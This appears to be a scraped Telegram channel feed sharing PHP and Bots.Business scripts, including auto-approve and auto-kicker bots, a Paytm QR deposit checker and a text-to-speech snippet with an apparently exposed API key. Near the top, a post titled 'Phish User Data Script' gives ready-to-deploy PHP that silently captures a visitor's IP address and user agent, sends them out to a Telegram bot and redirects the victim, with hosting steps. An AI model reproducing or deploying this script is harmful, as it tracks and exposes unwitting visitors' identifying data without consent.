Advanced Coding
26.8K subscribers
42 photos
9 videos
18 files
57 links
Owner :- @MiddleDealer
Download Telegram
👍1
freeviews.php
4.4 KB
Free Views Giveaway Script
👍13
📝Phish User Data Script :

1. Install any Code Editor!
2. Create File index.php!
3. Add Bellow Codes!
4. Check script and edit!
5. Save and import in hosting!


DONE

🌟Script: <?php
// Get user information
$user_ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$ip_information = "https://ipinfo.io/{$user_ip}/json";

// Prepare the data to send to Telegram
$message = "User IP: $user_ip\nUser Agent: $user_agent\n\nIP Information: " . $ip_information;

// Send data to Telegram bot
$bot_token = 'bot_token';
$chat_id = '@taIkgroup';
$telegram_url = "https://api.telegram.org/bot$bot_token/sendMessage?chat_id=$chat_id&text=" . urlencode($message);
file_get_contents($telegram_url);

// Redirect the user to another URL
$redirect_url = 'https://t.me/taIkgroup'; // Replace with the URL you want to redirect to
header("Location: $redirect_url");
?>


⚠️Working on all Free Hosting and 000webhost also!

📚Code Published By:
@Kids_Coder & @taIkgroup
👍9👏2
🔰PHP Auto Approve Bot codes!


<?php

//edit this three things

$token = 'your-bot-token';
$botUsername = 'your-bot-username';
$webhookUrl = 'https://your-domain-here.com/autoapprovebot.php';

//no need to edit bellow

$apiUrl = "https://api.telegram.org/bot$token/";
$allowedUpdates = ['message', 'chat_member', 'chat_join_request'];
$method = "setWebhook?url=$webhookUrl&allowed_updates=" . json_encode($allowedUpdates);

file_get_contents($apiUrl . $method);

$data = json_decode(file_get_contents('php://input'), true);

if (isset($data['message']['text']) && $data['message']['text'] == '/start') {
$userId = $data['message']['chat']['id'];
$userFirstName = $data['message']['chat']['first_name'];

$message = "Hello! *$userFirstName* welcome to Auto Approve Bot! I can manage your channel join request easily, just add me to your channel or group and make me admin!";
$keyboard = [
'inline_keyboard' => [
[
['text' => 'Add Bot to Channel', 'url' => "https://t.me/$botUsername?startgroup"]
]
]
];
$encodedKeyboard = json_encode($keyboard);

$apiUrl = "https://api.telegram.org/bot$token/";
$method = "sendMessage?chat_id=$userId&text=$message&parse_mode=Markdown&reply_markup=$encodedKeyboard";

file_get_contents($apiUrl . $method);
} elseif (isset($data['chat_join_request'])) {
$chatId = $data['chat_join_request']['chat']['id'];
$userId = $data['chat_join_request']['from']['id'];
$userFirstName = $data['chat_join_request']['from']['first_name'];
$channelTitle = $data['chat_join_request']['chat']['title'];
$apiUrl = "https://api.telegram.org/bot$token/";
$method = "approveChatJoinRequest?chat_id=$chatId&user_id=$userId";

file_get_contents($apiUrl . $method);
$message = "Hello! *$userFirstName* your join request for *$channelTitle* has been accepted!";
$apiUrl = "https://api.telegram.org/bot$token/";
$method = "sendMessage?chat_id=$userId&text=$message&parse_mode=Markdown";

file_get_contents($apiUrl . $method);
}
?>

🔐 How to setup this Bot?

1. create new
autoapprovebot.php file in your 000webhost website filemanger!
2. Now paste codes and edit the three thing which at top of codes!
3. Run that file once to activate with telegram bot!


Above is short tutorial on using above php in 000webhost! *3rd step is important



🌟Credit: No Need to Give
📚Publish By:
@Kids_Coder
👍131
How to create Smm Panel Bot on Telegram | Telegram Par Smm Panel Bot Kaise Banaye?

🎥 Tutorial
:- https://youtu.be/DrEe2srt3tc?si=v7038v0N-71WPFem

💽 Get Codes :- https://t.me/+TnS4dc0gP-9lZTg1
👍8
🔰PHP Auto Kicker Bot codes!


<?php

//edit bellow three things

$botToken = 'bot-token-here';
$botusername = 'bot-username-without-@';
$webhookUrl = 'webhook-url';

//no need to edit bellow

$update = file_get_contents('php://input');
$updateData = json_decode($update, true);

if (isset($updateData['message'])) {
$chatId = $updateData['message']['chat']['id'];
$userId = $updateData['message']['from']['id'];
$messageText = $updateData['message']['text'];

if ($messageText === '/start') {
$keyboard = [
'inline_keyboard' => [
[
['text' => 'Add to Channel', 'url' => 'https://t.me/'.$botusername.'?startgroup=invite_to_channel']
]
]
];

$keyboard = json_encode($keyboard);

$welcomeMessage = "Hello! *UserFirstName*, welcome to Auto Kicker Bot. I can ban users who leave your channel. Just add me to your channel and make me an admin with ban user rights!";
$welcomeMessage = str_replace('*UserFirstName*', $updateData['message']['from']['first_name'], $welcomeMessage);

$apiRequest = [
'chat_id' => $chatId,
'text' => $welcomeMessage,
'parse_mode' => 'Markdown',
'reply_markup' => $keyboard
];

file_get_contents('https://api.telegram.org/bot' . $botToken . '/sendMessage?' . http_build_query($apiRequest));
}
}

if (isset($updateData['chat_member']) && $updateData['chat_member']['new_chat_member']['status'] === 'left') {
$chatId = $updateData['chat_member']['chat']['id'];
$userId = $updateData['chat_member']['from']['id'];
$apiRequest = [
'chat_id' => $chatId,
'user_id' => $userId
];

file_get_contents('https://api.telegram.org/bot' . $botToken . '/banChatMember?' . http_build_query($apiRequest));
}

$setWebhookRequest = [
'url' => $webhookUrl,
'allowed_updates' => json_encode(['message', 'chat_member', 'left_chat_member'])
];

file_get_contents('https://api.telegram.org/bot' . $botToken . '/setWebhook?' . http_build_query($setWebhookRequest));
?>

🔐 How to setup this Bot?

1. create new
autokickerbot.php file in your 000webhost website filemanger!
2. Now paste codes and edit the three thing which at top of codes!
3. Run that file once to activate with telegram bot!


Above is short tutorial on using above php in 000webhost! *3rd step is important
 


🌟Credit: No Need to Give
📚Publish By:
@Kids_Coder
👍14🤮531😱1
How to create auto kicker bot on telegram easy tutorial.

🎥 Tutorial :- https://youtu.be/GtRTPS--eDw

💽 Get Code :- https://t.me/kids_coder/52
👍10👎7💩6
autoapprovebot.txt
1.4 KB
📁 File Used In Video Is Given Above 👆

🎥 Youtube Tutorial Link :-
https://youtu.be/xbYxyyvURKw

🚀 Published By :- @kids_coder
🛠 Created By :- @coderajinkya
4👍3🥰3
Old Channel All Codes Are Safe Now I Will Send That Soon👍

Unmute & Pin To Top 📌
4👍2
Automatic Payment Accept Code In Paytm (Merchant QR) 👇
👍9
if(chat.chat_type!="private"){
Bot.sendMessage("_Open me in private_");
return
}
if (request.data) {
var message_id = request.message.message_id
var chat_id = request.message.chat.id

Api.deleteMessage({
chat_id: chat_id,
message_id: message_id
})
}
var qr_link = "link"
//Upload QR Image In Channel And Enter Link Here
var but = [
[{text:" INR Sended",callback_data:"/onDepInr"}]
]
Api.sendPhoto({
photo:qr_link,
caption:"🔎 Scan This QR And Send INR ( Rs ) Then Click On\n~ INR Sended",
reply_markup:{ inline_keyboard:but}
})


Provider :- @kids_coder
👍74
Command : /onDepInr
if(chat.chat_type!="private"){
Bot.sendMessage("_Open me in private_");
return
}
if (request.data) {
var message_id = request.message.message_id
var chat_id = request.message.chat.id

Api.deleteMessage({
chat_id: chat_id,
message_id: message_id
})
}
Bot.sendMessage("⬇️ Send OrderId ( Transcation Id )")
Bot.runCommand("/onChkInrDep")


Provider :- @kids_coder
👍4
Command : /onChkInrDep
👍1
Wait For Answer On
👍6
if(chat.chat_type!="private"){
Bot.sendMessage("_Open me in private_");
return
}
if (request.data) {
var message_id = request.message.message_id
var chat_id = request.message.chat.id

Api.deleteMessage({
chat_id: chat_id,
message_id: message_id
})
}

var id = message

var qrtrs = Bot.getProperty("qrTrans")
var qrt = qrtrs?qrtrs:[]
if(!qrt.includes(id)){
var mid = "merchant key here"
function canRun(){
var last_run_at = User.getProperty("last_run_at_dep");
if(!last_run_at){ return true }

var minutes = (Date.now() - last_run_at) /1000/60;

var minutes_in_day = 1* 1
var next = minutes_in_day - minutes
var wait_hours = Math.floor(next / 60)
next -= wait_hours * 60
var wait_minutes = Math.floor(next)
var seconds = Math.floor((next - wait_minutes) * 60)
if (minutes < minutes_in_day) {
Bot.sendMessage("* This Command Will Run After\n"
+ seconds+ " s*",{is_reply:true});
return
}
return true;
}

if(!canRun()){ return }
User.setProperty("last_run_at_dep", Date.now(), "integer");

Bot.sendMessage("⬇️ Checking Your Deposit Request...",{is_reply:true})
HTTP.get({
url:"https://api.projectoid.site/v1/telegram/paytm/index.php?MERCHANT_KEY="+mid+"&TRANSACTION="+id+"",
success:"/onDepInrDo"
})
}else{
Bot.sendMessage(" One Id Can Be Used One Time Only...",{is_reply:true})
}


Provider :- @kids_coder
👍4😁1
Command : /onDepInrDo
👍1
if(chat.chat_type!="private"){
Bot.sendMessage("_Open me in private_");
return
}
if (request.data) {
var message_id = request.message.message_id
var chat_id = request.message.chat.id

Api.deleteMessage({
chat_id: chat_id,
message_id: message_id
})
}


if(!content){ return }
var data = JSON.parse(content)
var id = data.ORDERID
var stat = data.STATUS
var resp = data.RESPMSG
var used = data.PAYMENTMODE
var vl = data.TXNAMOUNT
var val = parseFloat(vl)
var date = data.TXNDATE

if(stat=="TXN_SUCCESS"&&resp=="Txn Success"){

var qrtrs = Bot.getProperty("qrTrans")
var qrt = qrtrs?qrtrs:[]
if(!qrt.includes(id)){
qrt.push(id)
Bot.setProperty("qrTrans",qrt,"json")
var addn = 1.2*val
var adl = addn+10/100*addn
var banda = Libs.commonLib.getLinkFor(user)
let balance = Libs.ResourcesLib.userRes("balance");
balance.add(parseFloat(adl));
Bot.sendMessage("🔥 Your Deposit Completed\n\n Amount : "+val+" INR\n🔮 Gained : "+adl+" SSP\n\n💗 Check Details From : @kids_coder");
Bot.sendMessageToChatWithId(1109004518,"🔥 New Deposit\n\n🚀 By : "+banda+"\n🔎 Of : "+val+" TRX\n By Paytm : "+used+"\n🛒 OrderI'd :
"+id+"");

Api.sendMessage({chat_id:"@kids_coder",text:"*🔰 New Deposit*\n\n❤️ Through Paytm (QR ) : "+used+"\n💡 At : "+date+" IMT\n👨‍💻 By : "+banda+"\n♦️ Id : "+user.telegramid+"\n Amount : "+val+" INR\n🔮 Gained : "+adl+" SSP\n\n🚀 Bot : @"+bot.name+"",parse_mode: "Markdown",disable_web_page_preview:true})
}else{
Bot.sendMessage(" One Id Can Be Used One Time Only...",{is_reply:true})
}

}else{
Bot.sendMessage(" Wrong Order Id...",{is_reply:true})
}


Provider :- @kids_coder
👍11
List Of Codes Provided By @kids_coder 👇

Manual Pay Bot : Click
Tutorial : Click
Free Sub Script : Click
Clone Bot : Click
Mail Verify Code : Click
Tutorial : Click
Views Bot Codes : Click
Text To QR Codes : Click
Auto Approve Bot Code : Click
Smm Panel Bot Code : Click
Auto Kicker Bot Code : Click
Tutorial : Click
Merchan Qr Deposit Code : Click
Text To Speech : Click
Free Hosting : Click
Send Email From Bot : Click
Basic Admin Panel : Click
Auto Faucetpay Withdraw : Click
👍246🔥1🥰1👏1😁1
🎚 Text to Speech Bjs

❣️Command:
Your Command

👼Answer :
*Enter a Text to Convert to Speech!*

👍Wait for Answer On 🆗

📖Bjs:


var api = "3f5866ce7e32445f903e48fb27e58796"//get it from https://voicerss.org
Api.sendAudio({
audio:"api.voicerss.org/?key="+api+"&hl=en-us&r=-1&c=MP3&src="+message,
caption:"*📔 Here is your Speech!!\n\n💫Generated by @"+bot.name+"*",
parse_mode:"markdown"
})


💻 Developer: @RushikeshLade1
Published By :
@kids_coder
👍172🥰2